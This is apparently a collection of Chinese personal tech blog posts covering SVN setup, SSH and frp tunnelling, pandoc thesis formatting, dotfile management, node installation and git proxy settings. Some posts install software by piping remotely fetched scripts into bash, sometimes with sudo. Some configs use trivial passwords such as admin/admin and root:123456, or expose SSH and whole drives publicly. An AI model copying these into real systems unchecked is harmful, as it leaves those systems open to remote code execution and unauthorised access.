# cat test1/conf/svnserve.conf
[general]
anon-access = none
auth-access = write
password-db = /home/svn/svn_users.conf/passwd
authz-db = /home/svn/svn_users.conf/authz
realm = test1

1
2
3
4
5
6
7

# cat test2/conf/svnserve.conf
[general]
anon-access = none
auth-access = write
password-db = /home/svn/svn_users.conf/passwd
authz-db = /home/svn/svn_users.conf/authz
realm = test2

修改完 svnserve.conf 后必须重启 svn服务，修改下面两个文件无需重启 svn 服务

3. 创建仓库间公用的认证文件

• passwd

1
2
3
4
5

# cat /home/svn/svn_users.conf/passwd
[users]
admin = admin
user1 = user1
user2 = user2

• authz

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# cat /home/svn/svn_users.conf/authz
[groups]
Admin = admin,user1
Dev = user1,user2

[test1:/]
@Admin = rw
@Dev = rw
* =

[test2:/]
@Admin = rw
@Dev = r
* =

4. 设定开机自启

创建/修改 /etc/systemd/system/svn.service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

# cat /etc/systemd/system/svn.service
[Unit]
Description=Subversion Server
After = network.target syslog.target
Wants = network.target

[Service]
User=svn
Group=svn
Type=forking
ExecStart=/usr/bin/svnserve --daemon --log-file /home/svn/log/svn.log --root /home/svn/svn_repos
ExecStop=/usr/bin/killall svnserve
Restart=always

[Install]
WantedBy=default.target

然后

1
2
3
4
5

mkdir /home/svn/log/
touch /home/svn/log/svn.log # 创建日志文件
systemctl daemon-reload # 刷新systemd配置
systemctl start svn # 启动svn
systemctl enable svn # 设定开机自启

5. 测试

1
2
3

svn co svn://localhost/test1 test1 --username admin --password admin
svn add path/to/file
svn ci -m 'xxxxx' --username admin --password admin

The end...

直接在命令行执行下面命令即可：

1

ssh serveo.net -R 80:localhost:4000

更多使用姿势敬请移步该项目官网查看。

2. srv.us

创建单个隧道

1

ssh srv.us -R 1:localhost:4000

同时创建多个隧道

1

ssh srv.us -R 1:localhost:4000 -R 2:192.168.0.1:80

3. localhost.run

临时使用：

1

ssh -R 80:localhost:4000 nokey@localhost.run

注册账号并上传公钥后可以直接使用localhost.run创建隧道，这样分配的子域名可以保持较久一些

4. sish

如果想自建类似的服务，可以看看这个。

Github：https://github.com/antoniomika/sish

今天是 4 月 24日，我刚刚完成我的毕业论文撰写，今天上午提交的最后一版。刚才偶然间在少数派^[1]发现了这种方法，和我自己用的方法^[2]虽目的不同，但有异曲同工之妙，甚好甚好，在此记录一下吧。

准备工作

第一步，把 Git 与 Pandoc 安装好。

第二步，向你的 ~/.gitconfig 添加下面内容：

1
2
3
4
5

[diff "pandoc"]
  textconv=pandoc --to=markdown
  prompt = false
[alias]
  wdiff = diff --word-diff=color --unified=1

第三步，新建一个文件夹，在这个文件夹里初始化 Git 仓库（工作区）。

1
2
3

mkdir git-word-demo
cd git-word-demo
git init

第四步，在该文件夹里创建 .gitattributes文件，并向其中写入如下内容：

1

*.docx diff=pandoc

然后把该文件加入版本版本管理，并 commit 一下：

1
2

git add .gitattributes
git commit -m "init"

自此，准备工作就完成了

如何使用

首先新建一个 docx格式的文件，打开它，随便打几个字，然后保存并关闭。

然后把该文件加入版本管理，并 commit 一下提交当前状态：

1
2

git add example.docx
git commit -m "add example.docx"

这就把 example.docx 纳入了版本管理。

来试一下修改这个文档，例如添加/删除某些字/行/段落等。保存并关闭文档。

执行 git diff查看工作区中的变动，将可以看到终端中会显示文件的第几行发生了何种变化。

然后记录变化并 commit 之，参数 -a 的作用是自动记录所有已git add 过的文件的变化

1

git commit -a -m "update"

然后可以进行新的修改。

总结

这种方法的优势是能把 docx内排版的变化也一丝不苟地纳入版本控制，但我们无法通过版本控制工具观测到排版的变化，只能比较出文字内容的变化。另外，由于docx是二进制格式，和纯文本相比不够「清真」，可能会导致这个仓库的体积迅速变大（个人猜测，未验证），由于每次diff 都需要 pandoc转换一下，性能应该也有些损耗（至少我感觉是慢了不少）。

如果你和我有同样的顾虑，欢迎来看我的另一篇文章^[2]。

经过了历时几个月的论文写作，我的毕业设计的论文部分总算完成了，在此记录一下写论文时使用到的方法。

第一阶段，查资料、写论文。这个阶段我使用纯 markdown编写论文内容并使用 git 做版本管理，不涉及 word 文档。

第二阶段，快交初稿了。开始有对 word 调格式的需求，在这个阶段我引入了pandoc，并研究了一下使用 pandoc 直接套用模板排版的方法。

第三阶段，要定稿了。由于需要对论文的排版进行较精确的微调，pandoc +模板 无法胜任这一任务，于是我开始放弃 markdown 格式，全面转到 docx格式，为了避免 word 文档出问题，我写了一个脚本（详见下面 justfile 的 final部分），在每次编辑后生成一份纯文本并将其和第二阶段的最后一版进行比较，并记录下每次比较的结果。

下面进入正题，主要是我第二阶段的做法。

Why

• markdown 作为一种纯文本格式，方便备份，配合 git也能实现较细粒度的版本管理。
• 利用 pandoc + 模板来生成 docx 能减少一些重复的格式修改工作。
• 用这种方式生成的 docx可以很方便的自动生成目录！（要不然就得手动标注标题以及正文的大纲级别）

How

第一步，把 Git 与 Pandoc 安装好。

第二步，导出 docx 参考模板。

执行下面命令创建模板

1

pandoc.exe -o pandoc/custom-reference.docx --print-default-data-file reference.docx

第三步，按照自己学校要求修改 custom-reference.docx中的格式

• 各级标题字体格式
• 正文字体与段落格式
• 页码
• 页边距
• 等等

第四步，把下面的代码粘贴到到每一个需要插入分页符的位置（我会在文末提供我的markdown 框架）

1
2
3
4
5
6
7

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

然后可以导出 docx，执行下面命令即可：

1
2
3
4
5

# 使用pandoc默认模板
pandoc.exe -f markdown <你的文档的文件名>.md -o <要生成的文档的文件名>.docx

# 使用你自定义的模板
pandoc.exe -f markdown <你的文档的文件名>.md -o <要生成的文档的文件名>.docx --reference-doc=custom-reference.docx

折腾完毕

其他

本文所述方法在 Gitee 上还有一个 Git 仓库^[2],有需要的话可以去看看。

一些调整 docx 排版的技巧

注：下面的格式修改操作适用于 MS Office 2019 中的 Word，其他版本的 MSOffice 以及金山 WPS 中对应配置的位置与此略有不同

1、添加页码后，删除页眉多出的横线

选中页眉，然后使用Ctrl+Shift+N 快捷键即可

2、为摘要以及正文设置不同的页码格式

首先，选中 布局 选项卡，在摘要的尾部，正文之前插入分隔符->分节符->下一页，作用是将 word分节，并自动换页。此时选中页码会提示不同节的序号。

然后选中正文部分的页码，在 页眉和页脚 选项卡中取消选中链接到前一节，就可以分别调整不同‘节’的页码格式了

3、自动生成的表格宽度不够

选中某个表格，在 表格工具->布局 选项卡中选中自动调整->根据窗口自动调整表格 即可

4、修改正文的格式不要改 正文，应该改正文文本。

因为标题等元素会自动继承 正文的格式，修改它会导致一些问题

偷懒神器

just^[1]，一个和make 有点像的命令运行器。

贴一下我用到的 justfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

crlf_format := if os_family() == "windows" { 'fd -e md -x sd "\n" "\r\n" && sd "\n" "\r\n" .justfile' } else { "uname -sm" }

# 格式化源代码
fmt:
    fd -e md -x mdfmt -w
    just cc
    just --fmt --unstable
    {{ crlf_format }}、

# 生成docx用来预览
doc: fmt
    pandoc -f markdown 论文.md -o output/论文预览-`date +"%Y-%m-%d_%H-%M"`.docx --reference-doc=pandoc/custom-reference-MyFormat.docx
    @pandoc.exe -t plain -i 论文.md -o count.txt
    just cc
    @rm count.txt

# 重新生成docx模板
regen_ref:
    pandoc -o pandoc/custom-reference.docx --print-default-data-file reference.docx

# 应用更改并提交至多个远程仓库
done: fmt
    git commit -a -m "update"
    git remote | xargs -I _ git push _

# 字数统计
cc:
    #!/usr/bin/env python3
    import re
    with open("count.txt", "r", encoding="utf-8") as f:
        # 读取文件内容
        text = f.read()
        # 统计汉字数量
        pattern = re.compile(r'[\u4e00-\u9fa5]')
        chinese_chars = pattern.findall(text)
        chinese_count = len(chinese_chars)
        # 统计英文字母数量
        pattern = re.compile(r'[a-zA-Z]')
        english_chars = pattern.findall(text)
        english_count = len(english_chars)
        # 统计标点符号数量
        pattern = re.compile(r'[^\u4e00-\u9fa5a-zA-Z0-9\s]')
        punctuation_chars = pattern.findall(text)
        punctuation_count = len(punctuation_chars)
        # 统计英文单词数量
        words = re.findall(r'\b[A-Za-z]+\b', text)
        word_count = len(words)
        # 输出统计结果
        print("汉字数量:", chinese_count)
        print("英文字母数量:", english_count)
        print("标点符号数量:", punctuation_count)
        print("英文单词数量:", word_count)
        print("汉字+字母+标点:", chinese_count+english_count+punctuation_count)
final:
    pandoc.exe -t plain -i 论文.md -o 1.txt
    pandoc.exe -t plain -i path/to/论文.docx -o count.txt
    sed -i 's/。/。\n/g' 1.txt # 以句号为界断行
    sed -i 's/。/。\n/g' count.txt
    echo '最后的论文懒得往 `论文.md` 里更新了，把最后的 word 转换出的 txt diff 一下放这里吧' > diff.md
    echo -e "\n\`\`\`diff\n$(diff --color -u 1.txt count.txt)\n\`\`\`" >> diff.md
    mdfmt -w diff.md
    sed -i 's/^ //g' diff.md
    #mdcat README.md
    rm 1.txt
    just cc
    @mv count.txt new.txt

markdown 模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167

###### 标题

# 摘要

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

###### Title

# Abstract

I can eat glass, it does not hurt me

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

<!-- 占位用，转成 docx 后在此处添加目录：引用 → 目录 → 自动目录1 -->

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 一、绪论

## 1.1 项目背景

我能吞下玻璃而不伤身体

## 1.2 行业现状

我能吞下玻璃而不伤身体

## 1.3 要解决的问题

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 二、相关技术简介

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 三、需求分析与设计

## 3.1 可行性分析

我能吞下玻璃而不伤身体

### 3.1.1 技术可行性

我能吞下玻璃而不伤身体

### 3.1.2 操作可行性

我能吞下玻璃而不伤身体

### 3.1.3 经济可行性

我能吞下玻璃而不伤身体

## 3.2 任务概述

我能吞下玻璃而不伤身体

## 3.3 需求分析

### 3.3.1 AA 需求

我能吞下玻璃而不伤身体

### 3.3.2 BB 需求

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 五、实现

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 六、测试

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 七、总结与展望

我能吞下玻璃而不伤身体

# 致谢

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 参考文献

我能吞下玻璃而不伤身体

```{=openxml}
<w:p>
  <w:r>
    <w:br w:type="page"/>
  </w:r>
</w:p>
```

# 附录

我能吞下玻璃而不伤身体

• 墙裂推荐 poe.com 💥！网络通畅的话收藏这一个就够了
• DuckDuckGo 也提供了类似 poe的服务，无需登录，当然也不会保存你的使用记录，挺好用的。有两个入口，DuckDuckGo AIChat 或者 https://duck.ai/

还有一些国内公司的大模型，做的也挺不错了。

• 阿里通义千问 https://tongyi.aliyun.com/
• 字节豆包 https://www.doubao.com/chat/
• 百度文心一言 https://yiyan.baidu.com/
• 讯飞星火 https://xinghuo.xfyun.cn/
• 月之暗面 kimi https://kimi.moonshot.cn/
• 腾讯元宝 https://yuanbao.tencent.com/chat/
• … …

提示词指南

• 你用 ChatGPT生成过哪些有趣的回答：知乎网友各显神通。
• ChatGPTShortcut：让生产力加倍的 ChatGPT 快捷指令
• ChatGPT指令大全：提供精炼过的指令语句。
• ChatGPT中文调教指南：各种场景使用指南。学习怎么让它听你的话。
• 中文 prompt精选：提升 ChatGPT 可玩性和可用性！

其他

• 国内可用的 ChatGPT在线体验免费网站列表导航
• Claudein Slack
• phind
• editGPT
• AI 法律助手
• ChatGPTstyle doc search
• 一个基于 ChatGPT的文档搜索引擎
• 酷表 CHATExcel
• AI Colors
• AI 驱动的正则表达式求解器
• ChatBox
• ChatGPT-Next-Web

标题有点违反广告法了哈哈哈，言归正传，作为一个 LinuxUser，随着时间的推移，我积攒了一大堆自定义的配置文件。有时某些软件会在我不知道的时候自动修改这些文件，这会对我造成一些困扰，而且每次重装系统或在其他设备初始化工作环境时都要一个一个地拷贝它们，这太不优雅了！我得想个办法解决这些问题。经过搜索，我找到了以下几种方式：

1. 【译】使用GNU stow 管理你的点文件
2. How toStore Dotfiles - A Bare Git Repository
3. chezmoi: Manage yourdotfiles across multiple diverse machines, securely.

经过试用/对比，我最终选用了第二个链接内提到的方法，即使用 Bare GitRepository 方式管理。得益于 Git的强大功能，这种方式主要可以做到以下功能：

• 版本管理
• 监测配置更改
• 多设备同步

这是我的 dotfiles仓库，这种方法的所有功能都是通过 git 实现的，只需要往.bashrc里写入一个命令别名。由于下面有更好的方法，此处不再赘述，感兴趣的话可以看一下我仓库里的README.md。

后来我又发现了一个工具：yadm，这个工具也是基于Bare Git Repository设计的，比我原来的方法多了一些挺实用的功能（比如敏感文件加密存储，这个功能其实git 本身就可以通过插件支持，但没有直接使用yadm方便就是了），由于底层原理相同，我原来的方法建立的仓库和本工具是完全兼容的，把配置同步到远端仓库后直接yadm clone <repo url> 然后yadm checkout $HOME 就可以无痛切换到新工具了，开森 🥰

安装

大多数发行版都可以直接使用包管理工具安装yadm，如果发行版仓库里没有，也可以直接从 Github仓库下载（这个东西本质上其实就是一个 shell 脚本）

1
2
3

mkdir -p ~/.local/bin
curl https://fastly.jsdelivr.net/gh/TheLocehiliosan/yadm@master/yadm -o ~/.local/bin/yadm
chmod +x ~/.local/bin/yadm

使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 初始化一个新仓库
yadm init

# 克隆现有仓库
yadm clone <url>

# 增添文件/应用更改
yadm add <important file>
yadm commit

# 加密存储 ssh 密钥，以安全地同步它
echo '.ssh/id_rsa' > ~/.config/yadm/encrypt
yadm encrypt

# 可以在同步本仓库到其他设备后，解密ssh密钥
yadm decrypt

# 为Linux与MacOS创建不同的文件
yadm add path/file.cfg##os.Linux
yadm add path/file.cfg##os.Darwin

https://github.com/winsw/winsw

参数列表

使用方式

先说结论

• 若 WinSW.exe 和 myapp.xml不在同一目录

  • 使用 WinSW.exe install .\myapp.xml 操作服务

• 若 WinSW.exe 和 myapp.xml在同一目录

  • 可以使用 WinSW.exe install .\myapp.xml 操作服务
  • 也可以把 WinSW.exe 重命名为myapp.exe，然后使用 myapp install操作服务

服务示例：
chfs-service.xml：

1
2
3
4
5
6
7
8
9
10

<service>
  <id>chfs-service</id>
  <name>CUTE HTTP FILE SERVER</name>
  <description> http://iscute.cn/chfs </description>
  <executable> chfs.exe </executable>
  <arguments> --rule="::r|root:123456:rwd" --path="D:\\" </arguments>
  <!-- 把日志文件都放到xml所在位置的子目录 -->
  <logpath>%BASE%\logs</logpath>
  <log mode="roll" />
</service>

全局方式

1. 从 发布页面下载 WinSW.exe
2. 创建一个专门用来放 xml 文件的目录，把 WinSW.exe放入其中，创建 myapp1.xml、myapp2.xml …
3. 然后可以使用形似下面的命令操作每个服务

1
2

WinSW.exe install .\myapp1.xml
WinSW.exe install .\myapp2.xml

也可以随便找个其他地方，把 WinSW.exe 放入其中，并加入PATH，总之能访问到 WinSW.exe 就行

捆绑方式

1. 下载 WinSW.exe
2. 创建一个文件夹，把 WinSW.exe 放入其中并重命名为myapp.exe
3. 在相同文件夹内创建 myapp.xml
4. 然后可以使用形似下面的命令操作服务

1
2
3
4

myapp install
myapp start
myapp stop
myapp uninstall

目录结构：

1
2

├── chfs-service.exe
└── chfs-service.xml

frp 是一个专注于内网穿透的反向代理工具，支持 TCP、UDP、HTTP、HTTPS等多种协议。可以将内网服务通过具有公网 IP 节点的中转暴露到公网。

软件安装以及自建服务端可以去官方文档查看

免费平台推荐

1. SakuraFrp（体验好，有国内节点，需要注册账号，建立 http通道绑定的域名需要备案）
2. 免费 FRP内网穿透（体验略逊于上面，但无需注册，建立 http通道需要自己的域名，无需备案）

配置示例

通过 SSH 访问内网机器

1
2
3
4
5
6
7
8
9
10

[common]
server_addr = frp.freefrp.net
server_port = 7000
token = freefrp.net

[ssh_484939d2_tcp]
type = tcp
local_ip = 127.0.0.1 # 自己机器的ip，本机部署就是127.0.0.1
local_port = 22 # 本地提供服务的ip地址
remote_port = 39317 # 映射到公网的哪个端口，（启动后如果无法访问就换个端口

然后可以使用 ssh ssh://root@frp.freefrp.net:39317连接到内网设备

通过自定义域名访问内网的 Web服务

1
2
3
4
5
6
7
8
9
10
11

[common]
server_addr = frp.freefrp.net
server_port = 7000
token = freefrp.net

[test_your_domain_http]
type = http
local_ip = 127.0.0.1
local_port = 8080
custom_domains = test.your.domain
subdomain = test

然后可以使用 http://test.your.domain访问你内网部署的网站

更多示例详见：示例 |frp

1
2
3
4

systemctl suspend                    # Suspend the system
systemctl hibernate                  # Hibernate the system
systemctl hybrid-sleep               # Hibernate and suspend the system
systemctl suspend-then-hibernate     # Suspend the system, wake after a period of time, and hibernate

suspend

普通的挂起（或者说睡眠），机器能以最快的速度被唤醒。不建议在笔记本不插电时使用，容易睡死(电池耗尽后丢失工作状态)。

hibernate

普通的休眠，约等于完全关机，但会保留上次的内存状态到硬盘内，唤醒后再恢复。速度稍慢，好处是不用担心睡死（毕竟已经“完全关机”了:joy_cat:）。

suspend-then-hibernate

先挂起，经过一段时间后系统自动唤醒并执行休眠操作。

但默认的等待时间一般都比较长，（文档里说是120min，/etc/systemd/sleep.conf 里的默认配置写的是180min），电池不给力的话，仍有睡死的风险，如使用此模式建议根据笔记本情况以及自己的需求设定一个较短的时间。

hybrid-sleep

混合睡眠，suspend 的同时也把内存状态备份到硬盘，睡眠速度比 suspend稍慢，唤醒速度大差不差，可以防止睡死。

我起初以为它的效果只是 suspend的同时也把内存状态备份到硬盘以避免睡死，但在实际使用时发现我的笔记本在suspend时仍会发热（而且发热量很可观，几乎比省电模式下空载还热了，耗电估计也小不了），但hybrid-sleep 时几乎没有发热，我觉得它应该做了更多的处理。不排除 suspend在我的本子上没有正常工作这个可能

我发现我的笔记本在 suspend时仍会发热（而且发热量很可观，几乎比省电模式下空载还热了，耗电估计也小不了），但hybrid-sleep 时几乎没有发热（和在 Windows 11下睡眠的表现差不多）。
suspend 是普通的挂起，hybrid-sleep是混合睡眠，从文档里的的介绍来看混合睡眠只是比普通的挂起多了个保存内存状态到硬盘的操作，按理说它俩的功耗表现应该是一样的啊，是hybrid-sleep 在控制功耗方面做了更多的处理，还是 suspend在我的本子上没有正常工作呢？
https://forum.suse.org.cn/t/topic/15224

解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# /etc/systemd/sleep.conf
[Sleep]
#AllowSuspend=yes
#AllowHibernation=yes
#AllowSuspendThenHibernate=yes
#AllowHybridSleep=yes
#SuspendMode=
#SuspendState=mem standby freeze
#HibernateMode=platform shutdown
#HibernateState=disk
#HybridSleepMode=suspend platform shutdown
#HybridSleepState=disk
#HibernateDelaySec=180min

# Disable useless items
AllowHibernation=no
AllowSuspendThenHibernate=no
# Configure suspend as hybrid-sleep
SuspendMode=suspend platform shutdown
SuspendState=disk

1

Error reading "D:\Downloads\xxxx\xxxx.ovf": Host resource of type "Other Storage Device (20)" is supported with SATA AHCI controllers only, line 47 (subtype:vmware.nvme.controller).

通过该报错我们可以得知，VirtualBox 仅支持 AHCI控制器,无法识别 vmware.nvme.controller

那么只需要将 vmware.nvme.controller 改为AHCI就可以导入了，在导入时别忘调整名称、操作系统类型等设置

另外，所谓的 OVF 其实就是一个虚拟硬盘文件加上一个描述虚拟机配置的ovf文件的集合，所以即使无法成功导入也问题不大，我们直接新建虚拟机，在创建虚拟磁盘时不创建新的，直接导入OVF 的那个虚拟磁盘文件就行了

配置 davfs2

• 编辑 /etc/davfs2/davfs2.conf 取消以下项的注释并更改值

1
2

ignore_dav_header 1
use_locks 0

• 配置用户名/密码

编辑 /etc/davfs2/secrets 末尾添加

1
2
3
4

https://seto.teracloud.jp/dav/ <username> <secret>
# 也可以有子目录
https://seto.teracloud.jp/dav/dir1/ <username> <secret>
https://seto.teracloud.jp/dav/dir2/ <username> <secret>

手动挂载

1
2
3
4
5
6

#创建挂载路径
mkdir /webdav
#手动挂载
mount -t davfs https://seto.teracloud.jp/dav/dir1/ /webdav/dir1/
# 卸载
umount /webdav/dir1/

手动挂载测试过没问题后可以配置开机自动挂载

自动挂载

编辑 /etc/fstab 末尾添加

1

https://seto.teracloud.jp/dav/dir1/ /path/to/dir1/ davfs rw,user,sync,noauto,uid=1000,_netdev 0 0

编辑 etc/systemd/system/mount-webdav.service

1
2
3
4
5
6
7
8
9
10
11
12
13

[Unit]
# 服务名称，可自定义Description=Mount WebDAV Service (KeePass)
After = network.target syslog.target
Wants = network.target

[Service]
Type = oneshot
ExecStart = bash -c 'for i in {1..15}; do if ping -c 1 seto.teracloud.jp; then mount /path/to/dir1/; break; else sleep 1; fi; done'
ExecStop = umount /path/to/dir1/
RemainAfterExit = true

[Install]
WantedBy = multi-user.target

然后执行下面命令

1

systemctl enable --now keepass-webdav.service

2023 年 2 月 6 日更新：

总感觉 nvm 载入有点慢，目前切换到了 n,使用方式：

直接执行下面命令即可

1

sudo bash <(curl -L https://raw.gitmirror.com/tj/n/master/bin/n) lts

默认情况下会把程序下载到 /usr/local/n/，所以需要sudo，如果想安装到其他位置，需要先处理一下环境变量才能正常工作，比如：

1
2

export N_PREFIX=$HOME/.n
export PATH="$HOME/.n/bin:$PATH"

下面是之前的内容

nvm 的全名是 Node VersionManager，是一个 node.js的版本管理器，可以帮助用户通过命令行快速安装和使用不同版本的 node。nvm可以在任何兼容 POSIX 的shell（sh、dash、ksh、zsh、bash）上工作，尤其是在 unix、macOS 和 windowsWSL。

安装

1

curl -o- https://cdn.jsdelivr.net/gh/nvm-sh/nvm/install.sh | bash

请在安装后执行一下 nvm检查是否成功，该安装脚本会尝试自动处理~/.bashrc，如果没有找到 nvm 命令，可以手动在shell 的用户配置文件添加如下内容（zsh 对应的是~/.zshrc，其他 shell 请自行查询用户配置位置）

1
2

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"  # This loads nvm

首次使用

1

nvm install --lts # 下载最新的LTS版本

然后检查一下配置是否生效

1
2
3
4

$ which npm
/home/idea/.nvm/versions/node/v16.14.2/bin/npm
$ which node
/home/idea/.nvm/versions/node/v16.14.2/bin/node

更改 npmmirror 中国镜像站

1

npm config set registry https://registry.npmmirror.com

更多使用姿势请自行搜索

HTTP

在使用 Git 操作远程仓库时，如果用的是 HTTP协议，可以直接用下面这样的命令配置（所有支持 Git的平台都可以这么配置）

^[1]在代理字符串中，socks5h://表示主机名由SOCKS 服务器解析。socks5://表示主机名在本地解析。为避免可能存在的 DNS污染问题，一般建议使用 socks5h

我们可以对所有域名都启用代理（全局）

1

git config --global http.proxy socks5h://127.0.0.1:7890

也可以分别对某些域名启用代理

1
2
3
4
5

git config --global http.https://github.com.proxy socks5h://127.0.0.1:7890

git config --global http.https://gitlab.com.proxy socks5h://127.0.0.1:7890

# 未在上面配置的域名将不会通过代理

_{别忘把命令末尾的代理服务器地址改成你自己的}

从 2021 年 8 月 13 日开始，GitHub 将在对 Git操作进行身份验证时不再接受帐户密码，并将要求使用基于令牌（token）的身份验证，^[2]例如个人访问令牌。或者选择使用SSH 密钥。

也就是说，现在不支持直接使用 https 链接访问私有库了，在不使用 token的情况下，我们将只能对 GitHub 上的公共仓库进行 clone操作，当然我们可以选择使用 SSH 。

SSH

若想要让 SSH 协议也通过代理，只需在 ~/.ssh/config添加如下内容:

Linux / macOS

1
2

Host github.com
    ProxyCommand nc -x 127.0.0.1:7890 %h %p

Windows

1
2

Host github.com
    ProxyCommand "C:\Program Files\Git\mingw64\bin\connect.exe" -S 127.0.0.1:7890 %h %p

拓展，在 443 端口使用 SSH(仅限Github^[3])

有时，防火墙会阻断内网客户端对 22 端口的连接，有些机场也会阻断 22端口，这时可以尝试使用通过 443 端口建立的 SSH 连接

编辑文件 ~/.ssh/config

1
2
3
4
5

Host github.com
    Hostname ssh.github.com
    Port 443
    User git
    ProxyCommand nc -x 127.0.0.1:7890 %h %p

然后可以直接使用形似 git@github.com:user/repo.git的克隆链接

学校的校园网不知出于何种考虑封禁了 22端口，这给我带来了一些麻烦，我无法使用 ssh 链接克隆我的 Git仓库了，而且有些云服务器的 sshd 如果用的是默认的 22端口，也将无法建立通信，还有些代码托管平台由于不可抗力也会无法访问。这种情况下就要用到代理了

Linux / macOS

只需要在 ~/.ssh/config 添加如下内容:

1
2

Host <要访问的主机>
    ProxyCommand nc -x 127.0.0.1:7890 %h %p

参数解释

Host 后面跟需要要代理的主机名（或 ip地址），多个主机用空格隔开，如果填写 *则表示该配置作用于所有主机。

使用 -X proxy_protocol指定代理服务器使用的协议。4 代表 socks4,5 代表socks5，connect 代表 http，如果未使用 -X参数，则默认使用 socks5 协议

使用 -x proxy_address[:port] 指定代理服务器和端口

例如：

1
2

Host github.com gitlab.com 111.111.111.111
    ProxyCommand nc -X connect -x 127.0.0.1:7890 %h %p

如果只是临时使用代理访问服务器的场景，也可以直接使用命令行：

1

ssh -o ProxyCommand="nc -x 127.0.0.1:7890 %h %p" user@server

Windows

首先安装 Git forWindows

ssh 的配置文件的位置是C:\Users\yourName\.ssh\config，

和 linux 平台的配置不同的是，我们需要把 ProxyCommand后面的内容改成类似下面这样

1
2

Host github.com 111.111.111.111
    ProxyCommand "C:\Program Files\Git\mingw64\bin\connect.exe" -S 127.0.0.1:10808 %h %p

参数解释

-S 代表 socks5，-H 代表 http

其他都和 Linux 平台没啥区别

要创建一个令牌，首先需要打开 Personal access tokens，点击 Generate new token，接着为此令牌设置备注、过期时间并勾选适当的权限，最后点击Generate token 生成令牌。

然后就可以使用https://<TOKEN>@github.com/<user_name>/<repo_name>.git操作仓库了。